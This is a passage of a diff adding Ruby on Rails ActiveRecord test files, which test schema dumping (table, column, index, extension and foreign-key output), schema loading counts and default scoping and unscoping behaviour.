+  def test_schema_dump_uses_force_cascade_on_create_table
+    output = dump_table_schema "authors"
+    assert_match %r{create_table "authors", force: :cascade}, output
+  end
+
+  def test_schema_dump_excludes_sqlite_sequence
+    output = standard_dump
+    assert_no_match %r{create_table "sqlite_sequence"}, output
+  end
+
+  def test_schema_dump_includes_camelcase_table_name
+    output = standard_dump
+    assert_match %r{create_table "CamelCase"}, output
+  end
+
+  def assert_no_line_up(lines, pattern)
+    return assert(true) if lines.empty?
+    matches = lines.map { |line| line.match(pattern) }
+    matches.compact!
+    return assert(true) if matches.empty?
+    line_matches = lines.map { |line| [line, line.match(pattern)] }.select { |line, match| match }
+    assert line_matches.all? { |line, match|
+      start = match.offset(0).first
+      line[start - 2..start - 1] == ", "
+    }
+  end
+
+  def column_definition_lines(output = standard_dump)
+    output.scan(/^( *)create_table.*?\n(.*?)^\1end/m).map { |m| m.last.split(/\n/) }
+  end
+
+  def test_types_no_line_up
+    column_definition_lines.each do |column_set|
+      next if column_set.empty?
+
+      assert column_set.all? { |column| !column.match(/\bt\.\w+\s{2,}/) }
+    end
+  end
+
+  def test_arguments_no_line_up
+    column_definition_lines.each do |column_set|
+      assert_no_line_up(column_set, /default: /)
+      assert_no_line_up(column_set, /limit: /)
+      assert_no_line_up(column_set, /null: /)
+    end
+  end
+
+  def test_no_dump_errors
+    output = standard_dump
+    assert_no_match %r{\# Could not dump table}, output
+  end
+
+  def test_schema_dump_includes_not_null_columns
+    output = dump_all_table_schema([/^[^r]/])
+    assert_match %r{null: false}, output
+  end
+
+  def test_schema_dump_includes_limit_constraint_for_integer_columns
+    output = dump_all_table_schema([/^(?!integer_limits)/])
+
+    assert_match %r{"c_int_without_limit"(?!.*limit)}, output
+
+    if current_adapter?(:PostgreSQLAdapter)
+      assert_match %r{c_int_1.*limit: 2}, output
+      assert_match %r{c_int_2.*limit: 2}, output
+
+      # int 3 is 4 bytes in postgresql
+      assert_match %r{"c_int_3"(?!.*limit)}, output
+      assert_match %r{"c_int_4"(?!.*limit)}, output
+    elsif current_adapter?(:Mysql2Adapter)
+      assert_match %r{c_int_1.*limit: 1}, output
+      assert_match %r{c_int_2.*limit: 2}, output
+      assert_match %r{c_int_3.*limit: 3}, output
+
+      assert_match %r{"c_int_4"(?!.*limit)}, output
+    elsif current_adapter?(:SQLite3Adapter)
+      assert_match %r{c_int_1.*limit: 1}, output
+      assert_match %r{c_int_2.*limit: 2}, output
+      assert_match %r{c_int_3.*limit: 3}, output
+      assert_match %r{c_int_4.*limit: 4}, output
+    end
+
+    if current_adapter?(:SQLite3Adapter, :OracleAdapter)
+      assert_match %r{c_int_5.*limit: 5}, output
+      assert_match %r{c_int_6.*limit: 6}, output
+      assert_match %r{c_int_7.*limit: 7}, output
+      assert_match %r{c_int_8.*limit: 8}, output
+    else
+      assert_match %r{t\.bigint\s+"c_int_5"$}, output
+      assert_match %r{t\.bigint\s+"c_int_6"$}, output
+      assert_match %r{t\.bigint\s+"c_int_7"$}, output
+      assert_match %r{t\.bigint\s+"c_int_8"$}, output
+    end
+  end
+
+  def test_schema_dump_with_string_ignored_table
+    output = dump_all_table_schema(["accounts"])
+    assert_no_match %r{create_table "accounts"}, output
+    assert_match %r{create_table "authors"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+    assert_no_match %r{create_table "ar_internal_metadata"}, output
+  end
+
+  def test_schema_dump_with_regexp_ignored_table
+    output = dump_all_table_schema([/^account/])
+    assert_no_match %r{create_table "accounts"}, output
+    assert_match %r{create_table "authors"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+    assert_no_match %r{create_table "ar_internal_metadata"}, output
+  end
+
+  def test_schema_dumps_index_columns_in_right_order
+    index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_index/).first.strip
+    if current_adapter?(:PostgreSQLAdapter)
+      assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", order: { rating: :desc }', index_definition
+    elsif current_adapter?(:Mysql2Adapter)
+      if ActiveRecord::Base.connection.supports_index_sort_order?
+        assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", length: { type: 10 }, order: { rating: :desc }', index_definition
+      else
+        assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", length: { type: 10 }', index_definition
+      end
+    else
+      assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index"', index_definition
+    end
+  end
+
+  def test_schema_dumps_partial_indices
+    index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_partial_index/).first.strip
+    if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index?
+      assert_equal 't.index ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)"', index_definition
+    else
+      assert_equal 't.index ["firm_id", "type"], name: "company_partial_index"', index_definition
+    end
+  end
+
+  def test_schema_dump_should_honor_nonstandard_primary_keys
+    output = standard_dump
+    match = output.match(%r{create_table "movies"(.*)do})
+    assert_not_nil(match, "nonstandardpk table not found")
+    assert_match %r(primary_key: "movieid"), match[1], "non-standard primary key not preserved"
+  end
+
+  def test_schema_dump_should_use_false_as_default
+    output = standard_dump
+    assert_match %r{t\.boolean\s+"has_fun",.+default: false}, output
+  end
+
+  def test_schema_dump_does_not_include_limit_for_text_field
+    output = standard_dump
+    assert_match %r{t\.text\s+"params"$}, output
+  end
+
+  def test_schema_dump_does_not_include_limit_for_binary_field
+    output = standard_dump
+    assert_match %r{t\.binary\s+"data"$}, output
+  end
+
+  if current_adapter?(:Mysql2Adapter)
+    def test_schema_dump_includes_length_for_mysql_binary_fields
+      output = standard_dump
+      assert_match %r{t\.binary\s+"var_binary",\s+limit: 255$}, output
+      assert_match %r{t\.binary\s+"var_binary_large",\s+limit: 4095$}, output
+    end
+
+    def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
+      output = standard_dump
+      assert_match %r{t\.blob\s+"tiny_blob",\s+limit: 255$}, output
+      assert_match %r{t\.binary\s+"normal_blob"$}, output
+      assert_match %r{t\.binary\s+"medium_blob",\s+limit: 16777215$}, output
+      assert_match %r{t\.binary\s+"long_blob",\s+limit: 4294967295$}, output
+      assert_match %r{t\.text\s+"tiny_text",\s+limit: 255$}, output
+      assert_match %r{t\.text\s+"normal_text"$}, output
+      assert_match %r{t\.text\s+"medium_text",\s+limit: 16777215$}, output
+      assert_match %r{t\.text\s+"long_text",\s+limit: 4294967295$}, output
+    end
+
+    def test_schema_does_not_include_limit_for_emulated_mysql_boolean_fields
+      output = standard_dump
+      assert_no_match %r{t\.boolean\s+"has_fun",.+limit: 1}, output
+    end
+
+    def test_schema_dumps_index_type
+      output = dump_table_schema "key_tests"
+      assert_match %r{t\.index \["awesome"\], name: "index_key_tests_on_awesome", type: :fulltext$}, output
+      assert_match %r{t\.index \["pizza"\], name: "index_key_tests_on_pizza"$}, output
+    end
+  end
+
+  def test_schema_dump_includes_decimal_options
+    output = dump_all_table_schema([/^[^n]/])
+    assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: "2\.78"}, output
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_schema_dump_includes_bigint_default
+      output = dump_table_schema "defaults"
+      assert_match %r{t\.bigint\s+"bigint_default",\s+default: 0}, output
+    end
+
+    def test_schema_dump_includes_limit_on_array_type
+      output = dump_table_schema "bigint_array"
+      assert_match %r{t\.bigint\s+"big_int_data_points\",\s+array: true}, output
+    end
+
+    def test_schema_dump_allows_array_of_decimal_defaults
+      output = dump_table_schema "bigint_array"
+      assert_match %r{t\.decimal\s+"decimal_array_default",\s+default: \["1.23", "3.45"\],\s+array: true}, output
+    end
+
+    def test_schema_dump_expression_indices
+      index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_expression_index/).first.strip
+      assert_equal 't.index "lower((name)::text)", name: "company_expression_index"', index_definition
+    end
+
+    def test_schema_dump_interval_type
+      output = dump_table_schema "postgresql_times"
+      assert_match %r{t\.interval\s+"time_interval"$}, output
+      assert_match %r{t\.interval\s+"scaled_time_interval",\s+precision: 6$}, output
+    end
+
+    def test_schema_dump_oid_type
+      output = dump_table_schema "postgresql_oids"
+      assert_match %r{t\.oid\s+"obj_id"$}, output
+    end
+
+    if ActiveRecord::Base.connection.supports_extensions?
+      def test_schema_dump_includes_extensions
+        connection = ActiveRecord::Base.connection
+
+        connection.stubs(:extensions).returns(["hstore"])
+        output = perform_schema_dump
+        assert_match "# These are extensions that must be enabled", output
+        assert_match %r{enable_extension "hstore"}, output
+
+        connection.stubs(:extensions).returns([])
+        output = perform_schema_dump
+        assert_no_match "# These are extensions that must be enabled", output
+        assert_no_match %r{enable_extension}, output
+      end
+
+      def test_schema_dump_includes_extensions_in_alphabetic_order
+        connection = ActiveRecord::Base.connection
+
+        connection.stubs(:extensions).returns(["hstore", "uuid-ossp", "xml2"])
+        output = perform_schema_dump
+        enabled_extensions = output.scan(%r{enable_extension "(.+)"}).flatten
+        assert_equal ["hstore", "uuid-ossp", "xml2"], enabled_extensions
+
+        connection.stubs(:extensions).returns(["uuid-ossp", "xml2", "hstore"])
+        output = perform_schema_dump
+        enabled_extensions = output.scan(%r{enable_extension "(.+)"}).flatten
+        assert_equal ["hstore", "uuid-ossp", "xml2"], enabled_extensions
+      end
+    end
+  end
+
+  def test_schema_dump_keeps_large_precision_integer_columns_as_decimal
+    output = standard_dump
+    # Oracle supports precision up to 38 and it identifies decimals with scale 0 as integers
+    if current_adapter?(:OracleAdapter)
+      assert_match %r{t\.integer\s+"atoms_in_universe",\s+precision: 38}, output
+    elsif current_adapter?(:FbAdapter)
+      assert_match %r{t\.integer\s+"atoms_in_universe",\s+precision: 18}, output
+    else
+      assert_match %r{t\.decimal\s+"atoms_in_universe",\s+precision: 55}, output
+    end
+  end
+
+  def test_schema_dump_keeps_id_column_when_id_is_false_and_id_column_added
+    output = standard_dump
+    match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
+    assert_not_nil(match, "goofy_string_id table not found")
+    assert_match %r(id: false), match[1], "no table id not preserved"
+    assert_match %r{t\.string\s+"id",.*?null: false$}, match[2], "non-primary key id column not preserved"
+  end
+
+  def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
+    output = standard_dump
+    assert_match %r{create_table "string_key_objects", id: false}, output
+  end
+
+  if ActiveRecord::Base.connection.supports_foreign_keys?
+    def test_foreign_keys_are_dumped_at_the_bottom_to_circumvent_dependency_issues
+      output = standard_dump
+      assert_match(/^\s+add_foreign_key "fk_test_has_fk"[^\n]+\n\s+add_foreign_key "lessons_students"/, output)
+    end
+
+    def test_do_not_dump_foreign_keys_for_ignored_tables
+      output = dump_table_schema "authors"
+      assert_equal ["authors"], output.scan(/^\s*add_foreign_key "([^"]+)".+$/).flatten
+    end
+  end
+
+  class CreateDogMigration < ActiveRecord::Migration::Current
+    def up
+      create_table("dog_owners") do |t|
+      end
+
+      create_table("dogs") do |t|
+        t.column :name, :string
+        t.references :owner
+        t.index [:name]
+        t.foreign_key :dog_owners, column: "owner_id"
+      end
+    end
+    def down
+      drop_table("dogs")
+      drop_table("dog_owners")
+    end
+  end
+
+  def test_schema_dump_with_table_name_prefix_and_suffix
+    original, $stdout = $stdout, StringIO.new
+    ActiveRecord::Base.table_name_prefix = "foo_"
+    ActiveRecord::Base.table_name_suffix = "_bar"
+
+    migration = CreateDogMigration.new
+    migration.migrate(:up)
+
+    output = perform_schema_dump
+    assert_no_match %r{create_table "foo_.+_bar"}, output
+    assert_no_match %r{add_index "foo_.+_bar"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+    assert_no_match %r{create_table "ar_internal_metadata"}, output
+
+    if ActiveRecord::Base.connection.supports_foreign_keys?
+      assert_no_match %r{add_foreign_key "foo_.+_bar"}, output
+      assert_no_match %r{add_foreign_key "[^"]+", "foo_.+_bar"}, output
+    end
+  ensure
+    migration.migrate(:down)
+
+    ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ""
+    $stdout = original
+  end
+
+  def test_schema_dump_with_table_name_prefix_and_ignoring_tables
+    original, $stdout = $stdout, StringIO.new
+
+    create_cat_migration = Class.new(ActiveRecord::Migration::Current) do
+      def change
+        create_table("cats") do |t|
+        end
+        create_table("omg_cats") do |t|
+        end
+      end
+    end
+
+    original_table_name_prefix = ActiveRecord::Base.table_name_prefix
+    original_schema_dumper_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+    ActiveRecord::Base.table_name_prefix = "omg_"
+    ActiveRecord::SchemaDumper.ignore_tables = ["cats"]
+    migration = create_cat_migration.new
+    migration.migrate(:up)
+
+    stream = StringIO.new
+    output = ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream).string
+
+    assert_match %r{create_table "omg_cats"}, output
+    refute_match %r{create_table "cats"}, output
+  ensure
+    migration.migrate(:down)
+    ActiveRecord::Base.table_name_prefix = original_table_name_prefix
+    ActiveRecord::SchemaDumper.ignore_tables = original_schema_dumper_ignore_tables
+
+    $stdout = original
+  end
+end
+
+class SchemaDumperDefaultsTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :dump_defaults, force: true do |t|
+      t.string   :string_with_default,   default: "Hello!"
+      t.date     :date_with_default,     default: "2014-06-05"
+      t.datetime :datetime_with_default, default: "2014-06-05 07:17:04"
+      t.time     :time_with_default,     default: "07:17:04"
+      t.decimal  :decimal_with_default,  default: "1234567890.0123456789", precision: 20, scale: 10
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      @connection.create_table :infinity_defaults, force: true do |t|
+        t.float    :float_with_inf_default,    default: Float::INFINITY
+        t.float    :float_with_nan_default,    default: Float::NAN
+      end
+    end
+  end
+
+  teardown do
+    @connection.drop_table "dump_defaults", if_exists: true
+  end
+
+  def test_schema_dump_defaults_with_universally_supported_types
+    output = dump_table_schema("dump_defaults")
+
+    assert_match %r{t\.string\s+"string_with_default",.*?default: "Hello!"}, output
+    assert_match %r{t\.date\s+"date_with_default",\s+default: "2014-06-05"}, output
+    assert_match %r{t\.datetime\s+"datetime_with_default",\s+default: "2014-06-05 07:17:04"}, output
+    assert_match %r{t\.time\s+"time_with_default",\s+default: "2000-01-01 07:17:04"}, output
+    assert_match %r{t\.decimal\s+"decimal_with_default",\s+precision: 20,\s+scale: 10,\s+default: "1234567890.0123456789"}, output
+  end
+
+  def test_schema_dump_with_float_column_infinity_default
+    skip unless current_adapter?(:PostgreSQLAdapter)
+    output = dump_table_schema("infinity_defaults")
+    assert_match %r{t\.float\s+"float_with_inf_default",\s+default: ::Float::INFINITY}, output
+    assert_match %r{t\.float\s+"float_with_nan_default",\s+default: ::Float::NAN}, output
+  end
+end
diff --git a/activerecord/test/cases/schema_loading_test.rb b/activerecord/test/cases/schema_loading_test.rb
new file mode 100644
index 0000000000..f539156466
--- /dev/null
+++ b/activerecord/test/cases/schema_loading_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module SchemaLoadCounter
+  extend ActiveSupport::Concern
+
+  module ClassMethods
+    attr_accessor :load_schema_calls
+
+    def load_schema!
+      self.load_schema_calls ||= 0
+      self.load_schema_calls += 1
+      super
+    end
+  end
+end
+
+class SchemaLoadingTest < ActiveRecord::TestCase
+  def test_basic_model_is_loaded_once
+    klass = define_model
+    klass.new
+    assert_equal 1, klass.load_schema_calls
+  end
+
+  def test_model_with_custom_lock_is_loaded_once
+    klass = define_model do |c|
+      c.table_name = :lock_without_defaults_cust
+      c.locking_column = :custom_lock_version
+    end
+    klass.new
+    assert_equal 1, klass.load_schema_calls
+  end
+
+  def test_model_with_changed_custom_lock_is_loaded_twice
+    klass = define_model do |c|
+      c.table_name = :lock_without_defaults_cust
+    end
+    klass.new
+    klass.locking_column = :custom_lock_version
+    klass.new
+    assert_equal 2, klass.load_schema_calls
+  end
+
+  private
+
+    def define_model
+      Class.new(ActiveRecord::Base) do
+        include SchemaLoadCounter
+        self.table_name = :lock_without_defaults
+        yield self if block_given?
+      end
+    end
+end
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
new file mode 100644
index 0000000000..6f035b594b
--- /dev/null
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -0,0 +1,543 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+require "models/developer"
+require "models/computer"
+require "models/vehicle"
+require "models/cat"
+require "concurrent/atomic/cyclic_barrier"
+
+class DefaultScopingTest < ActiveRecord::TestCase
+  fixtures :developers, :posts, :comments
+
+  def test_default_scope
+    expected = Developer.all.merge!(order: "salary DESC").to_a.collect(&:salary)
+    received = DeveloperOrderedBySalary.all.collect(&:salary)
+    assert_equal expected, received
+  end
+
+  def test_default_scope_as_class_method
+    assert_equal [developers(:david).becomes(ClassMethodDeveloperCalledDavid)], ClassMethodDeveloperCalledDavid.all
+  end
+
+  def test_default_scope_as_class_method_referencing_scope
+    assert_equal [developers(:david).becomes(ClassMethodReferencingScopeDeveloperCalledDavid)], ClassMethodReferencingScopeDeveloperCalledDavid.all
+  end
+
+  def test_default_scope_as_block_referencing_scope
+    assert_equal [developers(:david).becomes(LazyBlockReferencingScopeDeveloperCalledDavid)], LazyBlockReferencingScopeDeveloperCalledDavid.all
+  end
+
+  def test_default_scope_with_lambda
+    assert_equal [developers(:david).becomes(LazyLambdaDeveloperCalledDavid)], LazyLambdaDeveloperCalledDavid.all
+  end
+
+  def test_default_scope_with_block
+    assert_equal [developers(:david).becomes(LazyBlockDeveloperCalledDavid)], LazyBlockDeveloperCalledDavid.all
+  end
+
+  def test_default_scope_with_callable
+    assert_equal [developers(:david).becomes(CallableDeveloperCalledDavid)], CallableDeveloperCalledDavid.all
+  end
+
+  def test_default_scope_is_unscoped_on_find
+    assert_equal 1, DeveloperCalledDavid.count
+    assert_equal 11, DeveloperCalledDavid.unscoped.count
+  end
+
+  def test_default_scope_is_unscoped_on_create
+    assert_nil DeveloperCalledJamis.unscoped.create!.name
+  end
+
+  def test_default_scope_with_conditions_string
+    assert_equal Developer.where(name: "David").map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
+    assert_nil DeveloperCalledDavid.create!.name
+  end
+
+  def test_default_scope_with_conditions_hash
+    assert_equal Developer.where(name: "Jamis").map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
+    assert_equal "Jamis", DeveloperCalledJamis.create!.name
+  end
+
+  def test_default_scope_with_inheritance
+    wheres = InheritedPoorDeveloperCalledJamis.all.where_values_hash
+    assert_equal "Jamis", wheres["name"]
+    assert_equal 50000,   wheres["salary"]
+  end
+
+  def test_default_scope_with_module_includes
+    wheres = ModuleIncludedPoorDeveloperCalledJamis.all.where_values_hash
+    assert_equal "Jamis", wheres["name"]
+    assert_equal 50000,   wheres["salary"]
+  end
+
+  def test_default_scope_with_multiple_calls
+    wheres = MultiplePoorDeveloperCalledJamis.all.where_values_hash
+    assert_equal "Jamis", wheres["name"]
+    assert_equal 50000,   wheres["salary"]
+  end
+
+  def test_scope_overwrites_default
+    expected = Developer.all.merge!(order: "salary DESC, name DESC").to_a.collect(&:name)
+    received = DeveloperOrderedBySalary.by_name.to_a.collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_reorder_overrides_default_scope_order
+    expected = Developer.order("name DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.reorder("name DESC").collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_order_after_reorder_combines_orders
+    expected = Developer.order("name DESC, id DESC").collect { |dev| [dev.name, dev.id] }
+    received = Developer.order("name ASC").reorder("name DESC").order("id DESC").collect { |dev| [dev.name, dev.id] }
+    assert_equal expected, received
+  end
+
+  def test_unscope_overrides_default_scope
+    expected = Developer.all.collect { |dev| [dev.name, dev.id] }
+    received = DeveloperCalledJamis.unscope(:where).collect { |dev| [dev.name, dev.id] }
+    assert_equal expected, received
+  end
+
+  def test_unscope_after_reordering_and_combining
+    expected = Developer.order("id DESC, name DESC").collect { |dev| [dev.name, dev.id] }
+    received = DeveloperOrderedBySalary.reorder("name DESC").unscope(:order).order("id DESC, name DESC").collect { |dev| [dev.name, dev.id] }
+    assert_equal expected, received
+
+    expected_2 = Developer.all.collect { |dev| [dev.name, dev.id] }
+    received_2 = Developer.order("id DESC, name DESC").unscope(:order).collect { |dev| [dev.name, dev.id] }
+    assert_equal expected_2, received_2
+
+    expected_3 = Developer.all.collect { |dev| [dev.name, dev.id] }
+    received_3 = Developer.reorder("name DESC").unscope(:order).collect { |dev| [dev.name, dev.id] }
+    assert_equal expected_3, received_3
+  end
+
+  def test_unscope_with_where_attributes
+    expected = Developer.order("salary DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.where(name: "David").unscope(where: :name).collect(&:name)
+    assert_equal expected, received
+
+    expected_2 = Developer.order("salary DESC").collect(&:name)
+    received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({ where: :name }, :select).collect(&:name)
+    assert_equal expected_2, received_2
+
+    expected_3 = Developer.order("salary DESC").collect(&:name)
+    received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect(&:name)
+    assert_equal expected_3, received_3
+
+    expected_4 = Developer.order("salary DESC").collect(&:name)
+    received_4 = DeveloperOrderedBySalary.where.not("name" => "Jamis").unscope(where: :name).collect(&:name)
+    assert_equal expected_4, received_4
+
+    expected_5 = Developer.order("salary DESC").collect(&:name)
+    received_5 = DeveloperOrderedBySalary.where.not("name" => ["Jamis", "David"]).unscope(where: :name).collect(&:name)
+    assert_equal expected_5, received_5
+
+    expected_6 = Developer.order("salary DESC").collect(&:name)
+    received_6 = DeveloperOrderedBySalary.where(Developer.arel_table["name"].eq("David")).unscope(where: :name).collect(&:name)
+    assert_equal expected_6, received_6
+
+    expected_7 = Developer.order("salary DESC").collect(&:name)
+    received_7 = DeveloperOrderedBySalary.where(Developer.arel_table[:name].eq("David")).unscope(where: :name).collect(&:name)
+    assert_equal expected_7, received_7
+  end
+
+  def test_unscope_comparison_where_clauses
+    # unscoped for WHERE (`developers`.`id` <= 2)
+    expected = Developer.order("salary DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.where(id: -Float::INFINITY..2).unscope(where: :id).collect { |dev| dev.name }
+    assert_equal expected, received
+
+    # unscoped for WHERE (`developers`.`id` < 2)
+    expected = Developer.order("salary DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.where(id: -Float::INFINITY...2).unscope(where: :id).collect { |dev| dev.name }
+    assert_equal expected, received
+  end
+
+  def test_unscope_multiple_where_clauses
+    expected = Developer.order("salary DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.where(name: "Jamis").where(id: 1).unscope(where: [:name, :id]).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_string_where_clauses_involved
+    dev_relation = Developer.order("salary DESC").where("created_at > ?", 1.year.ago)
+    expected = dev_relation.collect(&:name)
+
+    dev_ordered_relation = DeveloperOrderedBySalary.where(name: "Jamis").where("created_at > ?", 1.year.ago)
+    received = dev_ordered_relation.unscope(where: [:name]).collect(&:name)
+
+    assert_equal expected, received
+  end
+
+  def test_unscope_with_grouping_attributes
+    expected = Developer.order("salary DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect(&:name)
+    assert_equal expected, received
+
+    expected_2 = Developer.order("salary DESC").collect(&:name)
+    received_2 = DeveloperOrderedBySalary.group("name").unscope(:group).collect(&:name)
+    assert_equal expected_2, received_2
+  end
+
+  def test_unscope_with_limit_in_query
+    expected = Developer.order("salary DESC").collect(&:name)
+    received = DeveloperOrderedBySalary.limit(1).unscope(:limit).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_order_to_unscope_reordering
+    scope = DeveloperOrderedBySalary.order("salary DESC, name ASC").reverse_order.unscope(:order)
+    assert !/order/i.match?(scope.to_sql)
+  end
+
+  def test_unscope_reverse_order
+    expected = Developer.all.collect(&:name)
+    received = Developer.order("salary DESC").reverse_order.unscope(:order).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_select
+    expected = Developer.order("salary ASC").collect(&:name)
+    received = Developer.order("salary DESC").reverse_order.select(:name).unscope(:select).collect(&:name)
+    assert_equal expected, received
+
+    expected_2 = Developer.all.collect(&:id)
+    received_2 = Developer.select(:name).unscope(:select).collect(&:id)
+    assert_equal expected_2, received_2
+  end
+
+  def test_unscope_offset
+    expected = Developer.all.collect(&:name)
+    received = Developer.offset(5).unscope(:offset).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_joins_and_select_on_developers_projects
+    expected = Developer.all.collect(&:name)
+    received = Developer.joins("JOIN developers_projects ON id = developer_id").select(:id).unscope(:joins, :select).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_includes
+    expected = Developer.all.collect(&:name)
+    received = Developer.includes(:projects).select(:id).unscope(:includes, :select).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_having
+    expected = DeveloperOrderedBySalary.all.collect(&:name)
+    received = DeveloperOrderedBySalary.having("name IN ('Jamis', 'David')").unscope(:having).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_and_scope
+    developer_klass = Class.new(Developer) do
+      scope :by_name, -> name { unscope(where: :name).where(name: name) }
+    end
+
+    expected = developer_klass.where(name: "Jamis").collect { |dev| [dev.name, dev.id] }
+    received = developer_klass.where(name: "David").by_name("Jamis").collect { |dev| [dev.name, dev.id] }
+    assert_equal expected, received
+  end
+
+  def test_unscope_errors_with_invalid_value
+    assert_raises(ArgumentError) do
+      Developer.includes(:projects).where(name: "Jamis").unscope(:stupidly_incorrect_value)
+    end
+
+    assert_raises(ArgumentError) do
+      Developer.all.unscope(:includes, :select, :some_broken_value)
+    end
+
+    assert_raises(ArgumentError) do
+      Developer.order("name DESC").reverse_order.unscope(:reverse_order)
+    end
+
+    assert_raises(ArgumentError) do
+      Developer.order("name DESC").where(name: "Jamis").unscope()
+    end
+  end
+
+  def test_unscope_errors_with_non_where_hash_keys
+    assert_raises(ArgumentError) do
+      Developer.where(name: "Jamis").limit(4).unscope(limit: 4)
+    end
+
+    assert_raises(ArgumentError) do
+      Developer.where(name: "Jamis").unscope("where" => :name)
+    end
+  end
+
+  def test_unscope_errors_with_non_symbol_or_hash_arguments
+    assert_raises(ArgumentError) do
+      Developer.where(name: "Jamis").limit(3).unscope("limit")
+    end
+
+    assert_raises(ArgumentError) do
+      Developer.select("id").unscope("select")
+    end
+
+    assert_raises(ArgumentError) do
+      Developer.select("id").unscope(5)
+    end
+  end
+
+  def test_unscope_merging
+    merged = Developer.where(name: "Jamis").merge(Developer.unscope(:where))
+    assert merged.where_clause.empty?
+    assert !merged.where(name: "Jon").where_clause.empty?
+  end
+
+  def test_order_in_default_scope_should_not_prevail
+    expected = Developer.all.merge!(order: "salary desc").to_a.collect(&:salary)
+    received = DeveloperOrderedBySalary.all.merge!(order: "salary").to_a.collect(&:salary)
+    assert_equal expected, received
+  end
+
+  def test_create_attribute_overwrites_default_scoping
+    assert_equal "David", PoorDeveloperCalledJamis.create!(name: "David").name
+    assert_equal 200000, PoorDeveloperCalledJamis.create!(name: "David", salary: 200000).salary
+  end
+
+  def test_create_attribute_overwrites_default_values
+    assert_nil PoorDeveloperCalledJamis.create!(salary: nil).salary
+    assert_equal 50000, PoorDeveloperCalledJamis.create!(name: "David").salary
+  end
+
+  def test_default_scope_attribute
+    jamis = PoorDeveloperCalledJamis.new(name: "David")
+    assert_equal 50000, jamis.salary
+  end
+
+  def test_where_attribute
+    aaron = PoorDeveloperCalledJamis.where(salary: 20).new(name: "Aaron")
+    assert_equal 20, aaron.salary
+    assert_equal "Aaron", aaron.name
+  end
+
+  def test_where_attribute_merge
+    aaron = PoorDeveloperCalledJamis.where(name: "foo").new(name: "Aaron")
+    assert_equal "Aaron", aaron.name
+  end
+
+  def test_scope_composed_by_limit_and_then_offset_is_equal_to_scope_composed_by_offset_and_then_limit
+    posts_limit_offset = Post.limit(3).offset(2)
+    posts_offset_limit = Post.offset(2).limit(3)
+    assert_equal posts_limit_offset, posts_offset_limit
+  end
+
+  def test_create_with_merge
+    aaron = PoorDeveloperCalledJamis.create_with(name: "foo", salary: 20).merge(
+      PoorDeveloperCalledJamis.create_with(name: "Aaron")).new
+    assert_equal 20, aaron.salary
+    assert_equal "Aaron", aaron.name
+
+    aaron = PoorDeveloperCalledJamis.create_with(name: "foo", salary: 20).
+                                     create_with(name: "Aaron").new
+    assert_equal 20, aaron.salary
+    assert_equal "Aaron", aaron.name
+  end
+
+  def test_create_with_using_both_string_and_symbol
+    jamis = PoorDeveloperCalledJamis.create_with(name: "foo").create_with("name" => "Aaron").new
+    assert_equal "Aaron", jamis.name
+  end
+
+  def test_create_with_reset
+    jamis = PoorDeveloperCalledJamis.create_with(name: "Aaron").create_with(nil).new
+    assert_equal "Jamis", jamis.name
+  end
+
+  # FIXME: I don't know if this is *desired* behavior, but it is *today's*
+  # behavior.
+  def test_create_with_empty_hash_will_not_reset
+    jamis = PoorDeveloperCalledJamis.create_with(name: "Aaron").create_with({}).new
+    assert_equal "Aaron", jamis.name
+  end
+
+  def test_unscoped_with_named_scope_should_not_have_default_scope
+    assert_equal [DeveloperCalledJamis.find(developers(:poor_jamis).id)], DeveloperCalledJamis.poor
+
+    assert_includes DeveloperCalledJamis.unscoped.poor, developers(:david).becomes(DeveloperCalledJamis)
+
+    assert_equal 11, DeveloperCalledJamis.unscoped.length
+    assert_equal 1,  DeveloperCalledJamis.poor.length
+    assert_equal 10, DeveloperCalledJamis.unscoped.poor.length
